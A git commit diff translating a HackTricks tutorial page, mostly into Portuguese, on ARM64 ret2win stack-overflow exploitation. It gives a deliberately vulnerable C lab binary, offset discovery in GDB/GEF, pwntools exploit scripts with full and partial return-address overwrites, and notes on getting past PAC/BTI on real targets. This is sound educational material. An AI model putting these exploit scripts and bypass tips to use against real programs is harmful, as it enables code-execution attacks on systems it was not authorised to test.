Translated ['src/binary-exploitation/stack-overflow/ret2win/ret2win-arm6

This commit is contained in:
Translator 2025-08-27 02:33:47 +00:00
parent 953ae5d143
commit ce88affd7f

View File

@ -4,6 +4,7 @@
Encontre uma introdução ao arm64 em:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
@ -27,17 +28,29 @@ vulnerable_function();
return 0;
}
```
Compile sem pie e canário:
Compilar sem pie e canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
```
- A flag extra `-mbranch-protection=none` desativa o AArch64 Branch Protection (PAC/BTI). Se sua toolchain por padrão habilita PAC ou BTI, isso mantém o lab reproduzível. Para verificar se um binário compilado usa PAC/BTI você pode:
- Procure por AArch64 GNU properties:
- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'`
- Inspecione prólogos/epílogos por `paciasp`/`autiasp` (PAC) ou por landing pads `bti c` (BTI):
- `objdump -d ret2win | head -n 40`
### Fatos rápidos sobre a convenção de chamada AArch64
- O registrador de link é `x30` (a.k.a. `lr`), e funções tipicamente salvam `x29`/`x30` com `stp x29, x30, [sp, #-16]!` e os restauram com `ldp x29, x30, [sp], #16; ret`.
- Isso significa que o endereço de retorno salvo vive em `sp+8` relativo à base do frame. Com um `char buffer[64]` colocado abaixo, a distância usual para sobrescrever o `x30` salvo é 64 (buffer) + 8 (x29 salvo) = 72 bytes — exatamente o que veremos abaixo.
- O stack pointer deve permanecer alinhado a 16 bytes nas fronteiras de função. Se você construir ROP chains mais tarde para cenários mais complexos, mantenha o alinhamento do SP ou pode travar nos epílogos das funções.
## Encontrando o offset
### Opção de padrão
### Opção pattern
Este exemplo foi criado usando [**GEF**](https://github.com/bata24/gef):
Inicie o gdb com gef, crie um padrão e use-o:
Inicie o gdb com gef, crie um pattern e use-o:
```bash
gdb -q ./ret2win
pattern create 200
@ -45,17 +58,17 @@ run
```
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64 tentará retornar ao endereço no registrador x30 (que foi comprometido), podemos usar isso para encontrar o deslocamento do padrão:
arm64 tentará retornar para o endereço no registrador x30 (que foi comprometido), podemos usar isso para encontrar o offset do padrão:
```bash
pattern search $x30
```
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
**O deslocamento é 72 (9x48).**
**The offset is 72 (9x48).**
### Opção de deslocamento da pilha
### Opção de Stack offset
Comece obtendo o endereço da pilha onde o registrador pc está armazenado:
Comece obtendo o endereço da stack onde o registrador pc está armazenado:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
@ -64,14 +77,14 @@ info frame
```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
Agora defina um ponto de interrupção após o `read()` e continue até que o `read()` seja executado e defina um padrão como 13371337:
Agora defina um breakpoint depois do `read()` e continue até que o `read()` seja executado e defina um padrão como 13371337:
```
b *vulnerable_function+28
c
```
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
Encontre onde esse padrão está armazenado na memória:
Encontre onde esse padrão é armazenado na memória:
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
@ -96,6 +109,8 @@ from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
@ -113,7 +128,7 @@ p.close()
### Off-by-1
Na verdade, isso vai ser mais como um off-by-2 no PC armazenado na pilha. Em vez de sobrescrever todo o endereço de retorno, vamos sobrescrever **apenas os últimos 2 bytes** com `0x06c4`.
Na verdade, isto vai ser mais como um off-by-2 no PC armazenado na stack. Em vez de sobrescrever todo o return address, vamos sobrescrever **apenas os últimos 2 bytes** com `0x06c4`.
```python
from pwn import *
@ -135,7 +150,7 @@ p.close()
```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
Você pode encontrar outro exemplo de off-by-one em ARM64 em [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), que é um verdadeiro off-by-**one** em uma vulnerabilidade fictícia.
Você pode encontrar outro exemplo de off-by-one em ARM64 em [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), que é um off-by-**one** real em uma vulnerabilidade fictícia.
## Com PIE
@ -144,7 +159,7 @@ Você pode encontrar outro exemplo de off-by-one em ARM64 em [https://8ksec.io/a
### Off-by-2
Sem um leak, não sabemos o endereço exato da função vencedora, mas podemos saber o deslocamento da função em relação ao binário e sabendo que o endereço de retorno que estamos sobrescrevendo já está apontando para um endereço próximo, é possível vazar o deslocamento para a função win (**0x7d4**) neste caso e apenas usar esse deslocamento:
Sem um leak não sabemos o endereço exato da win function, mas podemos conhecer o offset da função dentro do binário e, sabendo que o return address que estamos sobrescrevendo já aponta para um endereço próximo, é possível obter o leak do offset para a win function (**0x7d4**) neste caso e simplesmente usar esse offset:
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python
@ -166,4 +181,45 @@ p.send(payload)
print(p.recvline())
p.close()
```
### Notas sobre hardening moderno AArch64 (PAC/BTI) e ret2win
- Se o binário for compilado com AArch64 Branch Protection, você pode ver `paciasp`/`autiasp` ou `bti c` emitidos em prólogos/epílogos de função. Nesse caso:
- Retornar para um endereço que não seja um BTI landing pad válido pode provocar um `SIGILL`. Prefira direcionar para a entrada exata da função que contém `bti c`.
- If PAC is enabled for returns, naive returnaddress overwrites may fail because the epilogue authenticates `x30`. For learning scenarios, rebuild with `-mbranch-protection=none` (shown above). When attacking real targets, prefer nonreturn hijacks (e.g., function pointer overwrites) or build ROP that never executes an `autiasp`/`ret` pair that authenticates your forged LR.
- Para verificar os recursos rapidamente:
- `readelf --notes -W ./ret2win` and look for `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notes.
- `objdump -d ./ret2win | head -n 40` and look for `bti c`, `paciasp`, `autiasp`.
### Running on nonARM64 hosts (qemuuser quick tip)
If you are on x86_64 but want to practice AArch64:
```bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
```
### Páginas relacionadas do HackTricks
-
{{#ref}}
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
{{#endref}}
-
{{#ref}}
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
{{#endref}}
## Referências
- Habilitando PAC e BTI no AArch64 para Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Padrão de Chamada de Procedimento para a Arquitetura Arm de 64 bits (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
{{#include ../../../banners/hacktricks-training.md}}